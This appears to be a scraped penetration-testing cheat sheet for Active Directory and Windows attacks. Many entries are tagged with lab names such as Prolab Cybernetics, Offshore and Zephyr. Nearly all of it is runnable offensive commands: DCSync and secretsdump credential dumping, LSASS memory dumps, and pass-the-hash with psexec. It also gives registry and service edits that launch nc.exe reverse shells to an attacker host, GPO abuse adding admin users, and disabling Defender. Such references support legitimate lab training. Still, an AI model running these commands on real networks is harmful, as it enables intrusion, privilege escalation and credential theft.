Get-DomainGroup -Domain <DOMAIN> -Identity <OBJECT> | select distinguishedname,objectsidRemove a user from a group
Remove domain group member
Remove-DomainGroupMember -Identity <OBJECT> -Members 'damundsen' -Credential $Cred2 -VerboseGet domain user (-Identity)
Get domain user
Get-DomainUser -Identity <OBJECT> | select samaccountname,objectsid,memberof,useraccountcontrol |flSearch user descriptions
Search text in files
Get-DomainUser -Domain <DOMAIN> | findstr descriptionProlab Cybernetics
ReadLAPPassword
Get domain object
# Get-DomainObject -Identity -Properties ms-mcs-AdmP
Get-DomainObject -Identity <OBJECT> -Properties "ms-mcs-AdmPwd",name# Get-DomainComputer -Properties name ForEach-Object
Get-DomainComputer -Properties name | ForEach-Object {Resource Based Constrained Delegation
Get domain computer
# -Set @ msds-allowedtoactonbehalfofotheridentity =
Get-DomainComputer DC01 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Credential $credentials -Verbose# -Clear msDS-AllowedToActOnBehalfOfOtherIdentity
Get-DomainComputer DC01 | Set-DomainObject -Clear msDS-AllowedToActOnBehalfOfOtherIdentity -Credential $credentials -VerbosesAMAccountName Spoofing
Set domain object
Set-DomainObject -Identity <OBJECT> -Clear 'serviceprincipalname' -Domain <DOMAIN> -DomainController <TARGET> -VerboseSearch which GPOs are applied to the Domain
Get domain object
Get-DomainObject -SearchScope Base -Properties gplinkto enumerate accounts for a Windows-based host
Get domain user
Get-DomainUser -SPN -Domain PowerView tool used <DOMAIN> | select associated from SPNs SamAccountNameto enumerate the mssqlsvc host
Get domain user
Get-DomainUser -Domain PowerView tool used <DOMAIN> -Identity <OBJECT> from a Windows-based mssqlsvc | select samaccountname,memberofUnconstrained Delegation - Users
Get domain user
Get-DomainUser -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"Unconstrained Delegeation - Computers
Get domain group
Get-DomainGroup -MemberIdentity sarah.laffertFind ACLs of an object by SID
Read ACLs of AD objects (PowerView)
Get-DomainObjectACL -ResolveGUIDs -Identity <OBJECT> | ? {$_.SecurityIdentifier -eq $sid}Get domain policy
Get domain policy
Get-DomainPolicyFind objects a user has rights over
Read ACLs of AD objects (PowerView)
Get-DomainObjectACL -Identity <OBJECT> | ? {$_.SecurityIdentifier -eq $sid}WriteDacl
Read ACLs of AD objects (PowerView)
# Get-DomainSID Get-DomainObjectAcl -ResolveGUIDs _.
Get-DomainSID | Get-DomainObjectAcl -ResolveGUIDs | ?{$_.SecurityIdentifier -eq $userSID}# Add-DomainObjectAcl -TargetIdentity Get-DomainSID
Add-DomainObjectAcl -TargetIdentity $(Get-DomainSID) -PrincipalIdentity <USER> -Rights DCSync -VerboseProlab Cybernetics
Read the ACL of an object
Read ACLs of AD objects (PowerView)
Get-DomainObjectAcl -ResolveGUIDs -Identity <OBJECT>Prolab RastaLabs
Read the ACL of the GPO container
Read ACLs of AD objects (PowerView)
Get-DomainObjectAcl -SearchBase 'CN=Policies,CN=System,<DOMAIN_DN>' -ResolveGUIDsProlab RastaLabs
Find the domain controller
Get domain controller
Get-DomainController -Domain <DOMAIN>Prolab Cybernetics
Users trusted for delegation
Get domain user
Get-DomainUser -TrustedToAuth | select userprincipalname,name,msds-allowedtodelegatetoProlab Cybernetics
Reset a user password
Reset a user password (PowerView)
Set-DomainUserPassword -Identity <USER> -AccountPassword $SecPassword -VerboseProlab Cybernetics
Allow resource-based constrained delegation
Query AD computers with PowerShell
Set-ADComputer <TARGET> -PrincipalsAllowedToDelegateToAccount (Get-ADComputer <ATTACKER_COMPUTER>)Prolab Cybernetics
Get domain sid
Get-DomainSID -Domain <DOMAIN>Zephyr notes
Get domain group
Get-DomainGroup -Identity <OBJECT> -Domain <DOMAIN> | Select-Object Name, SIDZephyr notes
printerbug · Authentication coercion via the print spooler
PrinterBug
Coerce authentication via MS-RPRN (Printer Bug)
python3 printerbug.py <DOMAIN>/<USER>:<PASSWORD>@<TARGET> <TARGET>procdump
Take memory dump with ProcDump
procdump.exe -accepteula -ma lsass.exe lsass.dmpProxyChains-NG (proxychains4)
Usage · GitHub · Sample config
Run a program through the proxy
Route a tool through a proxy chain
proxychains4 <COMMAND>ProxyChains-NG docs
Use another config file
Route a tool through a proxy chain
proxychains4 -f <CONFIG_FILE> <COMMAND>ProxyChains-NG docs
Set the config file with a variable
Route a tool through a proxy chain
PROXYCHAINS_CONF_FILE=<CONFIG_FILE> proxychains4 <COMMAND>ProxyChains-NG docs
Resolve a name through the proxy
DNS resolver helper in proxychains.conf
proxyresolv <HOSTNAME>ProxyChains-NG docs
ProxyList: SOCKS5 proxy
Proxy entry in proxychains.conf
socks5 127.0.0.1 1080ProxyChains-NG docs
ProxyList: SOCKS4 proxy
Proxy entry in proxychains.conf
socks4 127.0.0.1 9050ProxyChains-NG docs
ProxyList: proxy with login
Proxy entry in proxychains.conf
socks5 <PROXY_IP> <PORT> <USER> <PASSWORD>ProxyChains-NG docs
ProxyList: HTTP proxy
HTTP proxy entry in proxychains.conf
http <PROXY_IP> <PORT>ProxyChains-NG docs
Config: dynamic chain
Chain mode setting in proxychains.conf
dynamic_chainProxyChains-NG docs
Config: strict chain
Chain mode setting in proxychains.conf
strict_chainProxyChains-NG docs
Config: random chain
Chain mode setting in proxychains.conf
random_chainProxyChains-NG docs
Config: quiet mode
quiet_modeProxyChains-NG docs
Config: DNS through the proxy
Resolve DNS through the proxy
proxy_dnsProxyChains-NG docs
Config: skip the proxy for a network
localnet <IP>/255.0.0.0ProxyChains-NG docs
proxyshell
Use ProxyShell exploit to target a specific email address
python3 proxyshell.py -u <USER> -e <EMAIL>ps
Abusing ADCS
Pass-the-ticket with Rubeus
PS C:\Tools> .\Rubeus.exe asktgt /domain:<DOMAIN> /user:Administrator /certificate:cert.pfx /pttHigh Privileged User
Query or manage local/domain users
PS C:\Tools net user sentinal sentinalSee processes running as root
Search text with grep
ps aux | grep rootps_db
psexec.py · Remote shell over SMB (Impacket)
AddMembers
Remote shell via service creation (psexec)
psexec.py administrator@<TARGET> -hashes :<NT_HASH>Resource Based Constrained Delegation
Remote shell via service creation (psexec)
psexec.py -k -no-pass dc01.<DOMAIN>ExtraSids Attack
Remote shell via service creation (psexec)
proxychains psexec.py dev.<DOMAIN>/<USER>@<DOMAIN> -k -no-pass -target-ip <TARGET>Shell on a Windows target (password)
Remote shell via service creation (psexec)
psexec.py <DOMAIN>/<USER>:<PASSWORD>@<TARGET>Shell on a Windows target (Kerberos)
Remote shell via service creation (psexec)
psexec.py LOGISTICS.<DOMAIN>/<USER>@<DOMAIN> -k -no-pass -target-ip <TARGET>Sysinternals PsExec to a host
Remote shell via service creation (psexec)
.\psexec.exe -accepteula \\<TARGET> cmdProlab Offshore
Impacket psexec with a hash
Remote shell via service creation (psexec)
proxychains psexec.py <DOMAIN>/<USER>@<TARGET> -hashes :<HASH>Prolab Offshore
Remote shell via service creation (psexec)
proxychains4 -q psexec.py '<DOMAIN>/<USER>:<PASSWORD>@<TARGET>'Zephyr notes
pspy · Unprivileged process snooping
View running processes with pspy
./pspy64 -pf -i 1000ptunnel-ng
Connect to a ptunnel-ng server
sudo ./ptunnel-ng -p<TARGET> -l2222 -r<TARGET> -R22Start the ptunnel-ng server
sudo ./ptunnel-ng -r<TARGET> -R22pygpoabuse
Abusing GPO
Route a tool through a proxy chain
proxychains4 -q python3 pygpoabuse.py <DOMAIN>/<USER>:<PASSWORD> -gpo-id EF1EBF2A-08F2-48E0-9D2E-67D9F2CE875D -command "net user plaintext Password1234 /add && net localgroup Administrators plaintext /add" -taskname "PT_LocalAdmin" -description "this is a GPO test" -dc-ip <TARGET> -Abusing GPOs with pyGPOAbuse a GPO
Route a tool through a proxy chain
proxychains4 -q python3 pygpoabuse.py <DOMAIN>/<NAME>:<PASSWORD> -gpo-id EF1EBF2A-08F2-48E0-9D2E-67D9F2CE875D -command "net user plaintext Password1234 /add && net localgroup Administrators plaintext /add" -taskname "PT_LocalAdmin" -description "this is test" -dc-ip <TARGET> -vpypykatz · Mimikatz in Python
Resource Based Constrained Delegation
pypykatz crypto nt 'B3thR!ch@rd$'Parse an LSASS dump
pypykatz lsa minidump /path/to/lsassdumpfilepython
Reverse SOCKS proxy handler
python ReverseSocksProxyHandler.py <PORT> 1080 ./cert.pem ./private.keyProlab RastaLabs
python2.7
Running Windows Exploit Suggester
Run a Python 2.7 script
python2.7 windows-exploit-suggester.py --database 2021-05-13-mssb.xls --systeminfo win7lpe-systeminfo.txtRuns Lazagne.py with all modules using python2.7
Run a Python 2.7 script
python2.7 lazagne.py allUpdate Windows Exploit Suggester database
Run a Python 2.7 script
sudo python2.7 windows-exploit-suggester.py --updateConvert a Kerberos ticket to a hash
Crack hashes with John the Ripper
python2.7 kirbi2john.py sqldev.kirbiRun the rpivot client
Run a Python 2.7 script
python2.7 client.py --server-ip <LHOST> --server-port 9999Run the rpivot server
Run a Python 2.7 script
python2.7 server.py --proxy-port 9050 --server-port 9999 --server-ip <TARGET>python3
Upgrade to a TTY shell
Run bash
python3 -c 'import pty;pty.spawn("/bin/bash")'Prolab Dante
python3.9
Decrypt saved Firefox credentials
python3.9 firefox_decrypt.pypywerview
Logon Scripts
Read ACLs of AD objects (PowerView)
pywerview get-objectacl --name '<USER>' -w <DOMAIN> -t <TARGET> -u <USER> -p <PASSWORD> --resolve-sids --resolve-guids --json | jq '.results | map(select(.securityidentifier | contains("david")))'pyWhisker · Shadow credentials via msDS-KeyCredentialLink
Shadow Credentials
python3 pywhisker.py -d <DOMAIN> -u <USER> -p <PASSWORD> --target <USER> --action addquery
Get logged-in users
query userraisechild
Automating the ExtraSids attack using raisechild.py
raiseChild.py -target-exe <TARGET> dev.<DOMAIN>/<USER> FEscalate from child to parent domain
raiseChild.py -target-exec <TARGET> LOGISTICS.<DOMAIN>/<USER>rbcd.py · Manage resource-based constrained delegation (Impacket)
AddAllowedToAct
Configure resource-based constrained delegation
rbcd.py -delegate-from '<USER>' -delegate-to 'DC$' -dc-ip '<TARGET>' -action write '<DOMAIN>/<USER>:<PASSWORD>Resource Based Constrained Delegation
Configure resource-based constrained delegation
python3 rbcd.py -dc-ip <TARGET> -t DC01 -f <ACCOUNT> <DOMAIN>\\carole.holmes:Y3t4n0th3rP4ssw0rdrdesktop
RDP login
rdesktop -u <USER> -p <PASSWORD> <TARGET>Prolab Dante
readelf
Check the RUNPATH of a binary
Search text with grep
readelf -d <DOMAIN> | grep PATHreg · Windows registry command
Add debugger key to msedge.exe in registry
Add or change a registry value
reg.exe add "\\<TARGET>\<SHARE>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msedge.exe" /v Debugger /t reg_sz /d "cmd /c copy \\<TARGET>\<SHARE>\nc.exe && nc.exe -e \windows\system32\cmd.exe <TARGET> 8080"Add reference to a driver (1)
Add or change a registry value
reg add HKCU\System\CurrentControlSet\CAPCOM /v ImagePath /t REG_SZ /d "\??\C:\Tools\Capcom.sys"Add reference to a driver (2)
Add or change a registry value
reg add HKCU\System\CurrentControlSet\CAPCOM /v Type /t REG_DWORD /d 1AddMembers
Back up registry hives remotely (impacket reg.py)
reg.py <DOMAIN>/<USER>:<PASSWORD>@<TARGET> backup -o '\\<TARGET>\<SHARE>'Checking UAC level
Query the registry
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdminConfirming UAC is enabled
Query the registry
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUADeleting a registry key
Delete a registry key or value
reg delete \\<TARGET>\<SHARE>\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDllDisable Restricted Admin
Add or change a registry value
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /d 0 /t REG_DWORDEnable Restricted Admin
Add or change a registry value
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /d 1 /t REG_DWORDEnable SMB Guest Share folder access
Add or change a registry value
reg.exe add HKLM\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters /v AllowInsecureGuestAuth /d 1 /t REG_DWORD /fESC10
Query the remote registry
reg.py '<DOMAIN>'/'<USER>':'<PASSWORD>'@<TARGET> query -keyName 'HKLM\SYSTEM\CurrentControlSet\Services\Kdc'Manually Checking for ESC10
Query the registry
reg query "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL" /v CertificateMappingMethodsUsed on Mirage
Save a registry hive
Save a registry hive to a file
reg.exe save hklm\sam <PATH>post-exploitation
Save a registry hive to a file
reg save hklm\system <PATH>Query DisableRestrictedAdmin value in LSA settings
Query the registry
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DisableRestrictedAdminQuery for always install elevated registry key (1)
Query the registry
reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\InstallerQuery for always install elevated registry key (2)
Query the registry
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\InstallerQuery TightVNC server settings in registry
Query the registry
reg query HKLM\SOFTWARE\TightVNC\Server /sQuerying a registry key
Query the registry
reg query \\<TARGET>\<SHARE>\SYSTEM\CurrentControlSet\Services\DNS\ParametersSMB
Query the registry
reg.exe query HKLM\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters /v AllowInsecureGuestAuthWindows Server Update Services (WSUS)
Query the registry
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServerEnable Remote Desktop
Add or change a registry value
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /fProlab Zephyr, Zephyr notes
Restricted Admin
Add or change a registry value
reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /fZephyr notes
regsvr32
Register the SocksOverRDP plugin
regsvr32.exe SocksOverRDP-Plugin.dllresolve-dnsname
Enumerate DNS Record for DEV01
Resolve dns name
Resolve-DnsName -Name DEV01.<DOMAIN> -Server DC01.<DOMAIN>Resolve non-existing DNS Name
Resolve dnsname
Resolve-DNSName TEST1.<DOMAIN>Responder · LLMNR/NBT-NS/MDNS poisoner
NTLM Relay Over MSSQL
Start Responder (LLMNR / NBT-NS poisoning)
python3 Responder.py -I ens192Stealing Hashes
Start Responder (LLMNR / NBT-NS poisoning)
sudo responder -I tun0Show Responder options
Responder poisoner
responder -hResponder in analyze mode
Start Responder (LLMNR / NBT-NS poisoning)
sudo responder -I ens224 -APoison name resolution on the VPN interface
Start Responder (LLMNR / NBT-NS poisoning)
responder -I tun0 -wrf --lm -vProlab Offshore
rlwrap
Listener with history
Start a netcat listener
rlwrap nc -lnvp <PORT>Used on LustrousTwo · Prolab RastaLabs
robocopy
Copy files with ROBOCOPY
robocopy /B E:\Windows\NTDS .\ntds ntds.ditroute
Review routing table
route printrpcclient
List domain users (enumdomusers)
List domain users over RPC
rpcclient $> enumdomusersQuery a user by RID (queryuser)
Query a user over RPC
rpcclient $> queryuser 0x457ForceChangePassword
Query the target over MSRPC
rpcclient -U <USER>%<PASSWORD> <TARGET>Lookup Administartor SID
Resolve names or SIDs
rpcclient -U <USER> dc01.<DOMAIN> -c 'lookupnames administrator'Used on Fries
Connect with a null session
Query the target over MSRPC
rpcclient -U "" -N <TARGET>List domain users (null session)
Query the target over MSRPC
rpcclient -U "" -N <TARGET> rpcclient $> enumdomuserShow the domain password policy
Show domain / password policy info
rpcclient $> querydominforpcdump
Check for MS-PAR and MS-RPRN exposure
Search recursively in files
rpcdump.py @<TARGET> | egrep 'MS-RPRN|MS-PAR'Rubeus · Kerberos abuse toolkit
Abusing Foreign Groups
Run a PowerShell command
./Rubeus createnetonly /program:powershell.exeASREP-Roasting
AS-REP roast with Rubeus
Rubeus.exe asreproast /format:hashcatGet a TGT through delegation
.\Rubeus.exe tgtdelegProlab Cybernetics
Kerberoast one account
Kerberoast with Rubeus
.\Rubeus.exe kerberoast /target:<USER>Prolab Cybernetics
Watch for new TGTs
.\Rubeus.exe monitor /interval:5Prolab Cybernetics
Constrained delegation S4U with a ticket
Pass-the-ticket with Rubeus
.\Rubeus.exe s4u /ticket:<BASE64_TICKET> /impersonateuser:administrator /msdsspn:cifs/<TARGET> /altservice:cifs,host,ldap,http /pttProlab Cybernetics
Constrained delegation S4U with a hash
Pass-the-ticket with Rubeus
Rubeus.exe s4u /user:<USER>$ /rc4:<HASH> /impersonateuser:administrator /msdsspn:"cifs/<TARGET>" /altservice:cifs /pttProlab Offshore
Request a TGT with a password
.\Rubeus.exe asktgt /user:<USER> /password:<PASSWORD> /domain:<DOMAIN> /outfile:ticket.kirbiProlab Offshore
Hash a password
.\Rubeus.exe hash /password:<PASSWORD>Prolab Offshore
rubeustoccache
ticket to ccache
python3 rubeustoccache.py "<BASE64>" <NAME>.kirbi <NAME>.ccacheZephyr notes
ruby
Start the dnscat2 server
sudo ruby dnscat2.rb --dns host=<LHOST>,port=53,domain=<DOMAIN> --no-cacheruler-linux64
Use Ruler to brute force credentials against a domain
./ruler-linux64 --domain <DOMAIN> --insecure brute --users users.txt --passwords password.txt --verboserunas
Run cmd as a stored user
runas /savecred /user:<USER> cmdRun a utility as another user
Run a PowerShell command
runas /netonly /user:<DOMAIN>\<USER> powershellRunasCs
RunasCs.exe -l 2 <USER> '<PASSWORD>' -d <DOMAIN> <COMMAND>Zephyr notes
rundll32
Open the Credential Manager
Open the Windows credential manager
rundll32 keymgr.dll,KRShowKeyMgrExecuting custom dll with rundll32.exe
Open a control panel applet via rundll32
rundll32 shell32.dll,Control_RunDLL C:\Users\<USER>\AppData\Local\Microsoft\WindowsApps\srrstr.dllUses rundll32 in Windows to create a LSASS memory dump file
Run a DLL function (LOLBin)
rundll32 C:\windows\system32\comsvcs.dll, MiniDump 672 C:\lsass.dmp fullsc · Windows service control
Checking a service status
Query a service
sc query dnsChecking permissions on DNS service
Show a service's security descriptor
sc.exe sdshow DNSModifying a service binary path
Query or manage local groups
sc config AppReadiness binPath= "cmd /c net localgroup Administrators server_adm /add"Starting a service
Start or stop a service
sc start dnsStopping a service
Start or stop a service
sc stop dnsShow a service configuration
Manage Windows services
sc qc "<SERVICE>"Prolab Zephyr
Change the binary path of a service
Query or manage local groups
sc config <SERVICE> binpath="net localgroup administrators <USER> /add"Prolab Zephyr
sccmhunter
Enumerate DPAPI using SCCMHunter with WMI
Route a tool through a proxy chain
proxychains4 -q python3 sccmhunter.py dpapi -u <USER> -p <PASSWORD> -d <DOMAIN> -dc-ip <DC_IP> -target <TARGET_IP> -wmiEnumerate SMB information using SCCMHunter and save results
Route a tool through a proxy chain
proxychains4 -q python3 sccmhunter.py smb -u <USER> -p <PASSWORD> -d <DOMAIN> -dc-ip <DC_IP> -saveShow all information gathered by SCCMHunter
python3 sccmhunter.py show -allRun the SCCMHunter admin module
Route a tool through a proxy chain
# basic
proxychains4 -q python3 sccmhunter.py admin -u <USER> -p <PASSWORD> -ip <TARGET_IP># -au -ap
proxychains4 -q python3 sccmhunter.py admin -u <USER> -p <PASSWORD> -ip <TARGET_IP> -au '<COMPUTER_NAME>' -ap <COMPUTER_PASSWORD>Use SCCMHunter to find SCCM-related information
Route a tool through a proxy chain
proxychains4 -q python3 sccmhunter.py find -u <USER> -p <PASSWORD> -d <DOMAIN> -dc-ip <DC_IP>schtasks
Enumerate scheduled tasks
schtasks /query /fo LIST /vProlab Zephyr
scp
Upload a file
Copy a file over SSH
scp <FILE> <USER>@<TARGET>:/tmp/<FILE>Prolab Dante
Copy a directory over SSH (scp)
Copy a directory over SSH
scp -r rpivot <USER>@<TARGET>Download from another SSH port
Copy a file over SSH
scp -P <PORT> <USER>@<TARGET>:<REMOTE_FILE> .Prolab Dante
screen
Check the installed version of Screen
screen -vsecretsdump.py · Dump hashes and secrets (Impacket)
AddMembers
Dump secrets (SAM, LSA, NTDS) with impacket
secretsdump.py -sam SAM.save -system SYSTEM.save -ntds ntds.dit LOCALcreds found
Dump secrets (SAM, LSA, NTDS) with impacket
secretsdump.py -k -no-pass -target-ip <TARGET> web01.<DOMAIN>Extract hashes with secretsdump.py
Dump secrets (SAM, LSA, NTDS) with impacket
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCALDump NTLM hashes from NTDS.dit
Dump secrets (SAM, LSA, NTDS) with impacket
secretsdump.py -outputfile inlanefreight_hashes -just-dc <DOMAIN>/<USER>@<TARGET> -use-vssDCSync a user with a machine account
Dump secrets (SAM, LSA, NTDS) with impacket
secretsdump.py -just-dc-user <DOMAIN>/administrator "<HOST>$"@<TARGET> -hashes <NT_HASH>:<NT_HASH>DCSync a user with Kerberos
Dump secrets (SAM, LSA, NTDS) with impacket
secretsdump.py -just-dc-user <DOMAIN>/administrator -k -no-pass "<HOST>$"@<DOMAIN>Obtain KRBTGT hash for the child domain using Secretsdump.py
Dump secrets (SAM, LSA, NTDS) with impacket
secretsdump.py dev.<DOMAIN>/<USER>:<PASSWORD>@<TARGET> -just-dc-user DEV/krbtgtpost-exploitation
Dump secrets (SAM, LSA, NTDS) with impacket
secretsdump.py -sam sam.hive -system system.hive LOCALpoxt-enum
Dump secrets (SAM, LSA, NTDS) with impacket
secretsdump.py '<DOMAIN>/<USER>:<PASSWORD>Step 4: DCSync
Dump secrets (SAM, LSA, NTDS) with impacket
# basic
secretsdump.py -k '<DOMAIN>/<USER>'@<TARGET> -no-pass -just-dc-user Administrator# -dc-ip
secretsdump.py -k '<DOMAIN>/<USER>@<DOMAIN>' -no-pass -dc-ip <TARGET> -just-dc-user AdministratorUsed on VulnCicada #1, VulnCicada #2
Unconstrained Delegation - Users
Dump secrets (SAM, LSA, NTDS) with impacket
secretsdump.py -k -no-pass dc01.<DOMAIN>Unconstrained Delegation
Dump secrets (SAM, LSA, NTDS) with impacket
secretsdump.py -k dc.<DOMAIN> -just-dc-user AdministratorDump SAM hashes from saved hives
Dump secrets (SAM, LSA, NTDS) with impacket
python3 secretsdump.py -sam sam.save -security security.save -system system.save LOCALwim file
Dump secrets (SAM, LSA, NTDS) with impacket
secretsdump.py -system SYSTEM -sam SAM -security SECURITY LOCALWriteDacl
Dump secrets (SAM, LSA, NTDS) with impacket
secretsdump.py -just-dc-user krbtgt <DOMAIN>/<USER>:<PASSWORD>@<TARGET>DCSync one account
Dump secrets (SAM, LSA, NTDS) with impacket
secretsdump.py <DOMAIN>/<USER>@<TARGET> -just-dc-user AdministratorProlab Dante
Dump a domain through proxychains
Dump secrets (SAM, LSA, NTDS) with impacket
proxychains secretsdump.py <DOMAIN>/<USER>@<TARGET> -dc-ip <DC_IP>Prolab Offshore
secretsdump LOCAL
Dump secrets (SAM, LSA, NTDS) with impacket
secretsdump.py -sam SAM.save -system SYSTEM.save -security SECURITY.save LOCALZephyr notes
secretsdump DCSync
Dump secrets (SAM, LSA, NTDS) with impacket
proxychains4 -q secretsdump.py '<DOMAIN>/<COMPUTER>$'@<TARGET> -hashes :<NT_HASH>Zephyr notes
sed
NULL Sessions
Edit a file in place with sed
sed -i "s/'/\"/g" users.txtPrepare a TGS hash file for Hashcat
Crack hashes with hashcat
sed 's/\$krb5tgs\$\(.*\):\ (.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcatselect-string
Search file contents with PowerShell
Select string
select-string -Path C:\Users\<USER>\Documents\*.txt -Pattern passwordset-dnsserverresourcerecord
Intra Forest Attacks
Set dns server resource record
Set-DnsServerResourceRecord -NewInputObject $New -OldInputObject $Old -ComputerName DC01.<DOMAIN> -ZoneName <DOMAIN>set-executionpolicy
Targeted Kerberoasting
Set execution policy
Set-ExecutionPolicy Bypass -Scope CurrentUser -Forceset-itemproperty
Changing ImagePath with PowerShell
Netcat connection
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\ModelManagerService -Name "ImagePath" -Value "C:\Users\<USER>\Downloads\nc.exe -e cmd.exe <LHOST> 443"set-machineaccountattribute
PowerMad command to change sAMAccountName attribute
Set machine account attribute
Set-MachineAccountAttribute -MachineAccount "<ACCOUNT>" -Value "<VALUE>" -Attribute samaccountname -Domain <DOMAIN> -DomainController <DC_IP>sAMAccountName Spoofing
Set machine account attribute
# -Value dc03
Set-MachineAccountAttribute -MachineAccount <ACCOUNT> -Value "dc03" -Attribute samaccountname -Domain <DOMAIN> -DomainController <TARGET> -Verbose# -Value TEST01
Set-MachineAccountAttribute -MachineAccount <ACCOUNT> -Value "TEST01" -Attribute samaccountname -Domain <DOMAIN> -DomainController <TARGET> -Verboseset-mppreference
Disable Defender real-time monitoring
Set mp preference
Set-MpPreference -DisableRealtimeMonitoring $truesetspn
Request TGS tickets for all SPNs
Query or set SPNs
setspn.exe -T <DOMAIN> -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }Enumerate SPNs
Query or set SPNs
setspn.exe -Q */*sh
Spawns an interactive shell on a linux-based system
/bin/sh -isharpgpoabuse
-- Abusing GPOs rights with SharpGPOAbuse
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount <NAME> GPOName "Default Security Policy - WKS"sharphound
Collect all BloodHound data
.\SharpHound.exe -c All --zipfilename <NAME>Prolab Cybernetics
sharphound-2.10.0
bloodhound
Copy a file over SSH
SharpHound-2.10.0 scp -i /tmp/Shibuya/id SharpHound.exe <USER>@<DOMAIN>:/programdata/showmount
sliver-client_linux-amd64
Generating New Operator
# import htb_ .cfg
./sliver-client_linux-amd64 import htb_<LHOST>.cfg# basic
./sliver-client_linux-amd64smbcacls
Logon Scripts
smbcacls //<TARGET>/<SHARE> /EricsScripts -U <USER>%<PASSWORD>smbclient · SMB/CIFS client
Abusing Access Shared Folders
Browse SMB shares
smbclient.py <USER>@<TARGET> -no-passGuest Access Share
Browse SMB shares
smbclient //<TARGET>/<SHARE> -U <USER>Used on Phantom #1, Phantom #2, Logging, Checkpoint +4
images share
Browse SMB shares
smbclient.py -k <DOMAIN>/<USER>:<PASSWORD>@<DOMAIN>Logon Scripts
Browse SMB shares
# -c ls
smbclient //<TARGET>/<SHARE> -U <USER>%<PASSWORD> -c "ls"# --directory -c put logonScript.bat
smbclient //<TARGET>/<SHARE> --directory <DIR> -U <USER>%<PASSWORD> -c "put logonScript.bat"Silver Ticket
Browse SMB shares
smbclient.py -k -no-pass <TARGET>List shares through proxychains
Browse SMB shares
proxychains smbclient -L //<TARGET>Prolab Dante
Connect to a share through proxychains
Browse SMB shares
proxychains smbclient //<TARGET>/<SHARE>Prolab Dante
Recursive listing of SYSVOL
Browse SMB shares
smbclient //<TARGET>/<SHARE> -U <USER>%<PASSWORD> -c 'recurse;ls'Prolab Offshore
smbexec.py · Remote shell over SMB services (Impacket)
Authenticating with smbexec
Remote command execution via SMB service
smbexec.py <DOMAIN>/<USER>@<DOMAIN> -k -no-pass -dc-ip <TARGET>Used on VulnCicada
NTLMrelaysx Use Cases
Remote command execution via SMB service
proxychains4 -q smbexec.py <DOMAIN>/<USER>@<TARGET> -no-passRemote command execution via SMB service
proxychains4 -q smbexec.py <DOMAIN>/<USER>:<PASSWORD>@<TARGET>smbmap
Enumerate SMB shares with smbmap
# basic
smbmap -u <USER> -p <PASSWORD> -d <DOMAIN> -H <TARGET># -R SYSVOL --dir-only
smbmap -u <USER> -p <PASSWORD> -d <DOMAIN> -H <TARGET> -R SYSVOL --dir-onlyList share permissions through a pivot
Route a tool through a proxy chain
proxychains smbmap -H <TARGET> -u <USER> -p '<PASSWORD>'Prolab Offshore
smbpasswd
Password Spray
smbpasswd -r <TARGET> -U <USER>smbserver.py · Temporary SMB share (Impacket)
AddMembers
Host an SMB share for file transfer
sudo smbserver.py -smb2support share .SMB
Host an SMB share for file transfer
sudo python3 smbserver.py share -smb2supportStart an SMB server
Host an SMB share for file transfer
sudo smbserver.py -smb2support CompData /path/to/backupscript.dllCreate an SMB share with smbserver.py
Host an SMB share for file transfer
python3 smbserver.py -smb2support CompData /home/<USER>/Documents/smbserver with login
Host an SMB share for file transfer
sudo smbserver.py share $(pwd) -smb2support -user <USER> -password <PASSWORD>Zephyr notes
snaffler
Search network shares for interesting files and credentials
snaffler.exe -ssocat · Multipurpose relay
Cross-Session NTLM Relay (RemotePotato0)
Relay or forward connections with socat
sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:<TARGET>:9999Used on Mirage
Forward a local port with socat
Relay or forward connections with socat
socat TCP4-LISTEN:8080,fork TCP4:<LHOST>:80SSH through an HTTP proxy
Relay or forward connections with socat
socat TCP-LISTEN:6022,reuseaddr,fork PROXY:<PROXY_IP>:<INTERNAL_HOST>:22,proxyport=3128Prolab Fortress
socks4
Add a socks4 proxy to proxychains
Proxy entry in proxychains.conf
socks4 <TARGET> <PORT>socks5
Add a socks5 proxy to proxychains
Proxy entry in proxychains.conf
Socks5 <TARGET> <PORT>sqlguest
sqlmap
Automated SQL injection testing
sqlmap -r sql --batch -D zm -T Users -C Username,Password --dump --time-sec=1 --threads=10 --technique=TList databases
Automated SQL injection testing
proxychains sqlmap -u "http://<TARGET>/blog/category.php?id=2" --dbs --batchProlab Dante
List tables of a database
Automated SQL injection testing
proxychains sqlmap -u "http://<TARGET>/blog/category.php?id=2" -D <DB> --tablesProlab Dante
Dump a table
Automated SQL injection testing
proxychains sqlmap -u "http://<TARGET>/blog/category.php?id=2" -D <DB> -T <TABLE> --dumpProlab Dante
Dump a database
Automated SQL injection testing
proxychains sqlmap -u "http://<TARGET>/blog/category.php?id=2" -D <DB> --dumpProlab Dante
Test a saved request
Automated SQL injection testing
